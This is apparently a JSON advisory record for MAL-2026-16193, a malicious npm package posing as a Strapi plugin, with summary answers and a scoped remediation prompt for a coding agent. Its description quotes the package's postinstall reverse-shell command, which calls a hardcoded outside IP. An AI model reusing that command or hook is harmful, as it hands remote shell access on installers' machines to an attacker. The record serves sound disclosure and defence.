{"answers":{"affected":"1 open source package ship an affected version, including strapi-plugin-yayccresh-meeb.","exploited":"There is no known exploitation of MAL-2026-16193 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-16193 is a malicious package in strapi-plugin-yayccresh-meeb, published on 15 Sep 2026."},"fix_prompt":"MAL-2026-16193 is a malicious package: strapi-plugin-yayccresh-meeb (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-16193/ (Markdown: https://insights.sbomify.com/MAL-2026-16193/index.md)","id":"MAL-2026-16193","markdown":"https://insights.sbomify.com/MAL-2026-16193/index.md","name":"MAL-2026-16193","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's postinstall lifecycle script (`node postinstall.js`) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (`bash -i \u003e /dev/tcp/14.225.210.85/443 0\u003e\u00261`). Running `npm install` on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in strapi-plugin-yayccresh-meeb (npm)","id":"MAL-2026-16193","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"strapi-plugin-yayccresh-meeb","purl":"pkg:npm/strapi-plugin-yayccresh-meeb","source":"MAL-2026-16193"}],"products":null,"published":"2026-09-15","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16193/"}